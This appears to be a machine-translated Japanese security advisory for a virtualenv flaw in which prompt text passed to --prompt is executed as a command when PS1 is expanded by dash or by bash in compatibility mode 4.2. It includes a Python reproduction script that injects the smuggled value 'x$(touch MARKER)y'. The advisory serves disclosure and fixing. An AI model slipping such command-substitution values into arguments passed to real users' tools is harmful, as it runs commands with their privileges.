virtualenv: Bashプロンプトの値は、古い互換モード下で意味が変わる可能性があります。
## 概要
ユーザーから提供されたプロンプトのテキストが、bashの起動プロンプトで実行可能な構文になる可能性があります。攻撃者は、virtualenvに渡される値を操作し、ユーザーがその後、その環境を起動してプロンプトを表示する必要があります。
## 影響範囲
Bashは互換レベル4.2で動作し、環境プロンプトを表示します。その置換文字列の動作は、新しい互換モードとは異なり、プロンプトのテキストが別の解釈を受ける可能性があります。この報告は、POSIXの起動に関するものです。関連性のない他の起動方法による脆弱性は確認されていません。
## 攻撃者による制御入力
攻撃者は、virtualenvの引数として渡されるプロンプトまたは宛先データを制御します。ユーザーは、生成された起動スクリプトを後で実行します。
## 影響を受けるコード
関連するソースコードは、21.14.8にあり、
[bashプロンプトのアセンブリ](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/bash/activate.sh)にあります。
## 仕組み
`bin/activate`は、プロンプトを`PS1`にコピーします。シェルがプロンプトを表示する際に、`PS1`を再度展開するため、その値は代入と、その後の展開の両方で有効でなければなりません。bashとzshの派生版は、通常のプロンプトのルールに従ってエスケープ処理を行います。
他の3つのケースでも、プロンプトのデータがコマンドとして解釈されます。それは、`activate`を直接実行するdash、bashからエクスポートされた`PS1`を継承する子dash、および互換レベル4.2またはそれ以下のbashで動作する場合です。例えば、`x$(touch MARKER)y`のような値がプロンプトの表示時に`touch`コマンドを実行します。環境の作成自体は、ペイロードを実行しません。
## 再現と証拠
スキャナのチャイルドシェル再現機能は、`--prompt 'x$(touch MARKER)y'`という環境を作成し、インタラクティブなbashで`bin/activate`を実行し、インタラクティブな`sh`(dash)を起動します。この動作では、`PS1`が未定義のままなので、どちらのシェルも`MARKER`を作成しません。`PS1`が定義されている場合、bashは値を実行せずにプロンプトを表示しますが、チャイルドdashは`MARKER`を作成します。この再現機能は`BUG`として終了します。レポートでは、直接dashを起動する場合と、bashの互換性レベル4.2の場合に、それぞれ異なるコンソールでの再現方法が示されています。チャイルドシェルのパスは、別の環境が`PS1`を定義した後に発生する可能性があります。
スキャナはこの問題を、[#3326](https://github.com/pypa/virtualenv/pull/3326)およびその続編#3390に関連付けました。これらの変更は、通常のbashのパスをカバーしていますが、上記の3つのパスは未解決のままです。
[#3418](https://github.com/pypa/virtualenv/pull/3418)で提案されている変更は、`PS1`に変数参照を保持しており、その結果、プロンプトのテキストはデータとして展開されます。このレポートの再現機能はスキャナによって実行され、その後のコマンド実行結果は、メンテナによるレビューで提供されました。この注意喚起は、すべてのPOSIXシェルまたはすべてのbashモードが影響を受けることを意味するものではありません。
## 影響範囲
このレポートは、直接dashを起動する問題が、最初の20.xアクティベータ(20.0.0b1)に遡ると示唆しており、`PS1`の継承は#3390(最初にリリースされたのは21.14.7)に関連しています。また、bash 5.2で互換性レベルの問題を再現しています。これらの過去の境界は、レポートから得られたものであり、メンテナによって確認されたリリースバージョンは21.14.8です。
## 攻撃シーケンス
```mermaid
sequenceDiagram
participant A as プロンプト供給者
participant V as virtualenv
participant B as インタラクティブなbash
participant D as 子プロセスbash
A->>V: --prompt x$(touch MARKER)y
V->>B: 生成された bin/activate
B->>B: エスケープされたプロンプトをPS1に割り当てる
alt PS1がエクスポートされていない場合
B->>D: 独自のPS1を持つshを起動
D-->>B: マーカーが存在しない
else PS1がエクスポートされている場合
B->>D: 継承されたPS1を持つshを起動
D->>D: プロンプト表示時に $(touch MARKER) を展開
D-->>B: マーカーが作成される
end
```
## 再現ファイル
以下のファイルは、`ANT-2026-1MOI2X3T` のスキャナレポートからのものです。これらは、スキャナイメージのコミット `a857a7823c73` に対してテストされました。
`repro` エントリーポイントは、`/tmp/repro.d` ディレクトリに付属ファイルが必要であり、ユーザーIDを変更するケースでは、一時的なroot権限を持つコンテナが必要です。報告された動作が発生した場合、最後の出力行は `BUG` となります。これらのファイルは、証拠として含まれており、このアドバイザリの更新のために再実行されていません。
**`repro`**
```text
#!/usr/bin/env python3
import shutil
import subprocess
from pathlib import Path
work = Path("/tmp/repro-inherited-ps1")
shutil.rmtree(work, ignore_errors=True)
work.mkdir()
marker = work / "MARKER"
print("shは", Path("/bin/sh").resolve())
# 攻撃者: ツール(toxやhatchなど)が `--prompt` としてリレーするテキストのみ
hostile_prompt = f"x$(touch {marker})y"
# セットアップ: virtualenvコマンドで作成された環境
subprocess.run(
["virtualenv", "--no-periodic-update", "--without-pip", "--activators", "bash",
"--prompt", hostile_prompt, str(work / "env")],
check=True, stdout=subprocess.DEVNULL,
)
assert not marker.exists(), "環境の作成はプロンプトを実行してはならない"
```
```
# user: インタラクティブなbash環境で、`bin/activate`を読み込み、その後`sh`を起動します。
# `-i`オプションは、標準入力が端末でない場合でも、両方のシェルがプロンプトを表示するようにします。`sh`はプロンプトを表示し、EOFを読み込んで終了します。
session = Path("/tmp/repro.d/user_session.sh").read_text()
interactive_bash = ["bash", "--norc", "--noprofile", "-i"]
# control: bashで`PS1`が設定されているが、エクスポートされていないため、`sh`はそれを継承しません。
control = subprocess.run(interactive_bash, input="PS1='\\$ '\n" + session,
stderr=subprocess.PIPE, text=True, check=True)
print(control.stderr)
ran_in_control = marker.exists()
print("CONTROL PS1がエクスポートされていない: マーカーが作成されました:", ran_in_control)
# attack: 同じセッションを使用しますが、`PS1`がエクスポートされている点が異なります。
attack = subprocess.run(interactive_bash, input="export PS1='\\$ '\n" + session,
stderr=subprocess.PIPE, text=True, check=True)
print(attack.stderr)
ran_in_attack = marker.exists()
print("OBSERVED PS1がエクスポートされた: マーカーが作成されました:", ran_in_attack)
# check: プロンプトのテキストは、プロンプトを表示するすべてのシェルによって描画され、実行されるべきではありません。
print("BUG" if ran_in_attack and not ran_in_control else "OK")
```
**`repro.d/user_session.sh`**
```text
. /tmp/repro-inherited-ps1/env/bin/activate
sh -i </dev/null
```
## 影響
影響を受けるアクティベーションは、ユーザーの権限でコマンドを実行する可能性があります。深刻度は高く、生成されたスクリプトの事例である[GHSA-p58f-9548-mpm2](https://github.com/pypa/virtualenv/security/advisories/GHSA-p58f-9548-mpm2)に準拠します。
この攻撃には、引数のデータと、その後のユーザーのアクティベーションの制御が必要です。実行可能ファイルを置き換えたり、アプリケーションデータのコンテンツを制御したりする必要はありません。
## テストされたバージョン
```
提供されたフォローアップレビューでは、コマンド実行が、その作成者によって独立して確認されたと記載されています。実装レビューでは、ソースコードの検査と、リテラル値のチェックが行われましたが、その脆弱性を再実行することはありませんでした。関連するアクティベーションのソースコードは、バージョン21.14.8と、upstream/mainの233359cbで同一です。開発者は、以前にバージョン21.14.8で報告された問題の検証が完了したことを確認していました。影響を受けた最初のバージョンは特定されていません。バージョン21.14.9で修正されました。
## 既知の対策
信頼できるプロンプトと宛先の値を使用してください。古いバージョンの場合は、VIRTUAL_ENV_DISABLE_PROMPT=1を設定して、環境プロンプトを無効にしてください。virtualenv 21.14.9以降を使用して、環境を再作成してください。
## 影響を受けるバージョン
- [x] 問題は、virtualenv 21.14.8で再現されます。
## 貢献者
元の報告は、AnthropicのOSS ScannerによってANT-2026-1MOI2X3Tとして提供されました。その後の開発者によるレビューで、残りのアクティベーションパスが特定されました。
影響を受けるパッケージ:
- pip (Python) virtualenv: 影響を受けるバージョンは21.14.9未満、21.14.9で修正されました。